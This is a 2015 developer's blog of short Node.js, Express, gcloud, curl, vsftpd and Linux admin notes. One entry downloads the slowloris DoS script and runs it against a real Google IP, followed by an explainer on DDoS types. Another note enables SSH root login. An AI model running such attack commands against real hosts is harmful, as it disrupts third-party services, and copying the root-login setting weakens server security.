2015年9月24日 星期四

googld storage nodes example pipe gcloud

var http = require('http'),
fs = require('fs'),
url = require("url"),
path = require("path");


var gcloud = require('gcloud');
var storage;

storage = gcloud.storage({
  keyFilename: 'YOUR_JSON_KEY.json',
  projectId: 'YOUR_PROJECT_ID'
});


 http.createServer(function(request,response){

response.writeHead(200);

   var bucket = storage.bucket('peterbucket');

   var filename=url.parse(request.url).pathname.replace("/","");

request.pipe(bucket.file(filename).createWriteStream());

var fileSize = request.headers['content-length'];
var uploadedBytes = 0 ;

request.on('data',function(d){

uploadedBytes += d.length;
var p = (uploadedBytes/fileSize) * 100;
response.write("Uploading " + parseInt(p)+ " %\n");

});

request.on('end',function(){
response.end("File Upload Complete");
});

}).listen(8080,function(){

console.log("server started");
 });



1. YOUR_JSON_KEY.json


2. package.json

{
  "name": "NAME",
  "version": "0.0.1",
  "dependencies": {
    "gcloud": "^0.16.0",
  }
}

3. RUN IT
curl -v --upload-file  "FILE PATH" http://localhost:8080/

3. CHECK IT OUT ON YOUR GOOGLE STORAGE




response nodes , 三種 server 種類

三種 server 種類

Hello HTTP

var http = require('http');
var server = http.createServer(function (request, response) { 

 });


Hello TCP

var net = require('net');
var server = net.createServer(function (socket) {

 });

Hello Router

var server = require('node-router').getServer();
server.get("/", function (request, response) {

 });


2015年9月9日 星期三

ddos slowloris.pl kali

wget https://raw.githubusercontent.com/llaera/slowloris.pl/master/slowloris.pl
chmod +x slowloris.pl
ping www.google.com
perl ./slowloris.pl -dns 74.125.203.147 -options

http://support.unethost.com/knowledgebase.php?action=displayarticle&id=134

Q: 什麼是DDoS攻擊?
他是像服务器发送一个传输速递极低的HTTP请求,占用一个连接不松手,当多个HTTP同时进行slowloris攻击的时候就造成了ddos攻击。

A: DDoS(Distributed Denial of Service)為DoS(Denial of Service)的延伸,DoS中文譯為「阻斷服務攻擊」,
      即攻擊者造成網站伺服器充斥大量要求回覆的訊息,進而使伺服器無法去回應正常使用者的訊息。DDoS表示由多重來源發起攻擊而導致目標服務癱瘓,而並不單指特定某種攻擊手法。
      常見的DDoS攻擊有下列幾種:
TCP SYN Flood
UDP Flood
ICMP Flood
Http Get Flood
其中,TCP, UDP,ICMP這幾類的攻擊,都可以用linux的iptables rules加以處理。網路上也可以輕易找到解法。
然後,最後一種Http Get Flood,由於Http的封包是應用層的內容,iptalbes無法解析,也因此iptables無法阻擋Http Get Flood。
Http Get Flood的工作原理
在應用層當瀏覽器與伺服器端建立連線時,會發出請求(request)封包,當伺服器端收到此請求(request)封包時,
會回傳回應(response)封包給使用者。當攻擊者發出大量的請求(request)封包,伺服器端就會因為處理這些請求,而耗費過多資源,進而導致拒絕服務。
Unethost.com的WAF
因為Http Get Flood是屬於應用層的攻擊,所以能夠阻擋Http Get Flood的防火牆,又稱之為應用層防火牆(WAF)。
Unethost.com提供的WAF技術是基於瀏覽器的動態行為來辨識攻擊者的。透過這種辨識方式,
可以有效地辨別出真實的使用者與攻擊者的差異。並不會有誤擋真實使用者的情況。另一方面,
一般網路上可以找到的user agent rule設定,或是限制請求(request)數的方式,
都是基於靜態的封包內容或是根據單一連線速度,這一類的方法都容易產生誤判。很可能將正常的使用者的封包擋掉。

Error: setlocale() failed linux kali

https://forums.kali.org/showthread.php?23342-Trouble-locale-Settings-!!

echo 'export LC_ALL=en_US.UTF-8'>>.bashrc
source .bashrc

2015年7月28日 星期二

digital ocean , wordpress setting mysql php apache lamp

from:
https://www.digitalocean.com/community/tutorials/one-click-install-wordpress-on-ubuntu-14-04-with-digitalocean

1. in the browser
http://192.168.0.1/

2.
mysql -uroot -p

3.
apt-get update 
apt-get install phpmyadmin

4.
echo "Include /etc/phpmyadmin/apache.conf" >> /etc/apache2/sites-enabled/000-default.conf

5.
service apache2 restart

6.
http://192.168.0.1/phpmyadmin

gsutil config tutorial

https://cloud.google.com/storage/docs/gsutil_install

type below and follow the step

gsutil config -b

javascript file upload read target event


from :
http://www.html5rocks.com/en/tutorials/file/dndfiles/

there is file API for users to operate file conveniently 

References



<style>
  .thumb {
    height: 75px;
    border: 1px solid #000;
    margin: 10px 5px 0 0;
  }
</style>

<input type="file" id="files" name="files[]" multiple />
<output id="list"></output>

<script>
  function handleFileSelect(evt) {
    var files = evt.target.files; // FileList object

    // Loop through the FileList and render image files as thumbnails.
    for (var i = 0, f; f = files[i]; i++) {

      // Only process image files.
      if (!f.type.match('image.*')) {
        continue;
      }

      var reader = new FileReader();

      // Closure to capture the file information.
      reader.onload = (function(theFile) {
        return function(e) {
          // Render thumbnail.
          var span = document.createElement('span');
          span.innerHTML = ['<img class="thumb" src="', e.target.result,
                            '" title="', escape(theFile.name), '"/>'].join('');
          document.getElementById('list').insertBefore(span, null);
        };
      })(f);

      // Read in the image file as a data URL.
      reader.readAsDataURL(f);
    }
  }

  document.getElementById('files').addEventListener('change', handleFileSelect, false);
</script>



2015年7月20日 星期一

copyfile, nodejs, fs, extra, file upload

npm install formidable@latest
npm install fs-extra

===========================

var formidable = require('formidable'),
    http = require('http'),
    util = require('util'),
    fs   = require('fs-extra');

http.createServer(function(req, res) {
  /* Process the form uploads */
  if (req.url == '/upload' && req.method.toLowerCase() == 'post') {
    var form = new formidable.IncomingForm();
    form.parse(req, function(err, fields, files) {
      res.writeHead(200, {'content-type': 'text/plain'});
      res.write('received upload:\n\n');
      res.end(util.inspect({fields: fields, files: files}));
    });

    form.on('end', function(fields, files) {
        /* Temporary location of our uploaded file */
        var temp_path = this.openedFiles[0].path;
        /* The file name of the uploaded file */
        var file_name = this.openedFiles[0].name;
        /* Location where we want to copy the uploaded file */
        var new_location = '/Users/staging/Desktop/website_istaging/example/gcloud/temp/jquery_upload_ejs/sample_storage/fs_extra/';

        fs.copy(temp_path, new_location + file_name, function(err) {
            if (err) {
                console.error(err);
            } else {
                console.log("success!")
            }
        });
    });

    return;
  }

  /* Display the file upload form. */
  res.writeHead(200, {'content-type': 'text/html'});
  res.end(
    '<form action="/upload" enctype="multipart/form-data" method="post">'+
    '<input type="text" name="title"><br>'+
    '<input type="file" name="upload" multiple="multiple"><br>'+
    '<input type="submit" value="Upload">'+
    '</form>'
  );

}).listen(8080);

2015年7月18日 星期六

四种常见的 POST 提交数据方式

http://imququ.com/post/four-ways-to-post-data-in-http.html


application/x-www-form-urlencoded

multipart/form-data

application/json

text/xml


node.js post example, with callback

test as :
http://httpbin.org/

//////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////


//Load the request module
var request = require('request');

//Lets configure and request
request({
    url: 'http://httpbin.org/', //URL to hit
    qs: {from: 'blog example', time: +new Date()}, //Query string data
    method: 'POST',
    //Lets post the following key/values as form
    form: {
        field1: 'data',
        field2: 'data'
    }
}, function(error, response, body){
    if(error) {
        console.log(error);
    } else {
        console.log(response.statusCode, body);
    }
});


//////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////

app.post('/postpage', function(req, res) {
  res.send('respond with a resource'+req.body.username); 
});




2015年7月16日 星期四

mac npm, nodejs, express , express generator install

from:
http://coolestguidesontheplanet.com/installing-node-js-osx-10-9-mavericks/





sudo npm install -g express-generator

linux find,


file name contain "php" string

find . -type f -name "*php*"




paypal parse cloud code

Parse.Cloud.define("send_paypal_invoice", function(request, response){

var headerParams = [{   //Setting PayPal request headers
                    'X-PAYPAL-SECURITY-USERID'      : '****************',
                    'X-PAYPAL-SECURITY-PASSWORD'    : '***********',
                    'X-PAYPAL-SECURITY-SIGNATURE'   : '****************',
                    // Global Sandbox Application ID
                    'X-PAYPAL-APPLICATION-ID '      : 'APP-80W284485P519543T',
                    // Input and output formats
                    'X-PAYPAL-REQUEST-DATA-FORMAT'  : 'JSON',
                    'X-PAYPAL-RESPONSE-DATA-FORMAT' : 'JSON'
                }];

var payload = {
    requestEnvelope: {
        errorLanguage:  'en_US'
    },
    invoice: {
        merchantEmail: '*****************',
        payerEmail:    '*****************',
        currencyCode:  'SGD',
        paymentTerms:  'DueOnReceipt',
        itemList: [{    name:'BananaPlant',
                        quantity:'1',
                        unitPrice:'38.95'
                    },
                    {   name:'testPlant',
                        quantity:'2',
                        unitPrice:'18.20'}]
            }
    };     

var bodyJsonParams = JSON.stringify(payload);        

var headerJsonParams = JSON.stringify(headerParams);

Parse.Cloud.httpRequest({
  url: 'https://svcs.sandbox.paypal.com/Invoice/CreateAndSendInvoice',
   headers: headerJsonParams,
   body: bodyJsonParams,

  success: function(httpResponse) {
    console.log(httpResponse.text);
  },
  error: function(httpResponse) {
    console.error('Request failed with response code ' + httpResponse.status);
  }
});


  });

2015年7月7日 星期二

express error handling

from :
https://github.com/strongloop/express/blob/master/examples/error-pages/index.js


post ,get html curl linux

Linux provides a nice little command which makes our lives a lot easier.
GET:
with JSON:
curl -i -H "Accept: application/json" -H "Content-Type: application/json" http://hostname/resource
with XML:
curl -H "Accept: application/xml" -H "Content-Type: application/xml" -X GET http://hostname/resource
POST:
For posting data:
curl --data "param1=value1&param2=value2" http://hostname/resource
For file upload:
curl --form "fileupload=@filename.txt" http://hostname/resource
RESTful HTTP Post:
curl -X POST -d @filename http://hostname/resource
For logging into a site (auth):
curl -d "username=admin&password=admin&submit=Login" --dump-header headers http://localhost/Login
curl -L -b headers http://localhost/

2015年7月6日 星期一

node express generator problem / rm -rf ~/.npm

npm ERR! Error: ENOENT, open '/var/peter/package.json'

npm ERR! If you need help, you may report this *entire* log,


cd myproject 
rm -rf ~/.npm

2015年7月4日 星期六

node js / relation routes views render jade


http://expressjs.com/guide/using-template-engines.html

to add new page into the web, as long as adding file on routes/ , views/ and app.js

routes/peter.js
var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.render('peter', { title: 'Peter' ,content:'hihi'});
});

module.exports = router;

view/peter.jade
extends layout

block content
  h1= title
  h2= content

  p Welcome to #{title}


app.js

var peter = require('./routes/peter');

app.use('/peter', peter);


Once the view engine is set, you don’t have to explicitly specify the engine or load the template engine module in your app, Express loads it internally as shown below, for the example above.
app.set('view engine', 'jade');
Create a Jade template file named “index.jade” in the views directory, with the following content.
html
  head
    title!= title
  body
    h1!= message
Then create a route to render the “index.jade” file. If the view engine property is not set, you will have to specify the extension of the view file, else you can omit it.
app.get('/', function (req, res) {
  res.render('index', { title: 'Hey', message: 'Hello there!'});
});







node express generator problem "/usr/bin/env: node: No such file or directory"




solution:

ln -s /usr/bin/nodejs /usr/bin/node

allow root login ssh, sftp , debia

Open sshd_config file:
# vi /etc/ssh/sshd_config
Find out line that read as follows:
PermitRootLogin no
Set it as follows:
PermitRootLogin yes



Save and close the file. Restart the sshd:
# /etc/init.d/ssh restart

2015年6月27日 星期六

ubuntu vsftpd






sudo apt-get install vsftpd

vsftpd的相關設定檔:
/etc/vsftpd.conf
/etc/vsftpd.chroot_list

修改設定檔:修改之前記得先備份。
sudo gedit /etc/vsftpd.conf

設定檔中,一些重要的設定說明:
# Allow anonymous FTP? (Disabled by default)
anonymous_enable=NO
是否允許任意使用者連線,預設為=NO,只想給自己使用的就請設為NO

# Uncomment this to allow local users to log in.
local_enable=YES
是否允許本機使用者登入FTP,使用自己的帳號登入者請設為YES

# Uncomment this to enable any form of FTP write command.
write_enable=YES
是否開放寫入的權限,視需求設定,一般開放給自己的就都設為YES

# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
可寫入,且可新增目錄、檔案權限為 775
local_umask=002


chroot_local_user=YES
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list
關於以上三個設定說明如下:
chroot,就是讓使用者變換根目錄的功能,在登入FTP Server時,預設根目錄為使用者的home directory

chroot_local_user=YES
chroot_list_enable=YES
這樣的設定,讓所有使用者無法變換根目錄,除了/etc/vsftpd.chroot_list中所列的使用者。

都改好了記得要重新啟動vsftpd,才會生效。

sudo /etc/init.d/vsftpd restart


連線進入自己的vsFTPd時,有兩個必要條件,第一個當然電腦要開著,第二個就是要知道自己電腦的IP(有域名的就直接用域名)。

如果您是固定IP上網,要連入自己的vsFTPd就很簡單,但是台灣大多數的連線都是ADSL,是浮動IP,每次上網都會變動,要知道自己電腦上網時的真實IP,可以開啟終端機查詢:
sudo ifconfig


================================================

新增本地使用者+指定登陸瀏覽目錄設定
sudo useradd -d /ex/ex2 -M test
指令說明:新增帳號為test的本地使用者,限制瀏覽目錄於/ex2這個目錄以下,可以往下,無法到上層/ex
sudo passwd test
指令說明:設定本地帳號test使用者的密碼,可新增設定多組使用
sudo useradd -d /ex/ex2 -M test2
sudo passwd test2
若要更改指定目錄則-d後面的/ex/ex2更換即可,但是這個地方須留意的就是權限
/ex這個為上層目錄,上層目錄不能為chomd 777,這樣的話會變成權限過大,vsftpd無法登陸

===============================

疑難雜症

  1. 530 Login incorrect.
    檢查 pam.d/vsftpd 的設定,該註解的要註解掉。另外,auth 及 account 同一行內不可以有註解符號(#)。
  2. 500 OOPS: vsftpd: refusing to run with writable root inside chroot()
    這是因為新版的 vsftpd 限制當啟用chroot時,user的home目錄不可以有寫入的權限,只可以在子目錄下做寫入的動作。google大神上的解法,除了安裝另一個套件(可參考這裡)我沒測試過外,其餘目前測試都無效。所以乖乖把寫入的權限拿掉吧。
    chmod a-w /srv/ftp/user1
    
  3. 226 transfer done (but failed to open directory)
    這是因為目錄沒有x權限的問題,把x權限加上去即可
    chmod a+x /srv/ftp/user1 
    
  4. 550 Failed to change directory
    同226的問題,把x權限加上去即可
    chmod a+x /srv/ftp/user1 

2015年6月26日 星期五

apt-get remove application

sudo apt-get remove application
sudo apt-get remove application*

sudo apt-get remove --purge application
sudo apt-get remove --purge application*

sudo apt-get purge application
sudo apt-get purge application*

2015年6月25日 星期四

ssh-

server:
ssh-keyscan -t rsa 192.168.0.1


client:
past the result in to

/Users/xxx/.ssh/known_hosts


===============
if it is harmless
===============You can use the following one liner to remove that one line (line 3) from the file.
$ sed -i 3d ~/.ssh/known_hosts

2015年6月24日 星期三

list all installed packages

dpkg --get-selections | grep -v deinstall
dpkg-query -l


---------------------------


npm list -g --depth=0
npm list [[@<scope>/]<pkg> ...] npm ls [[@<scope>/]<pkg> ...] npm la [[@<scope>/]<pkg> ...] npm ll [[@<scope>/]<pkg> ...]
---------------------------

disk used


du -shc /home/*
df
df -a
df -h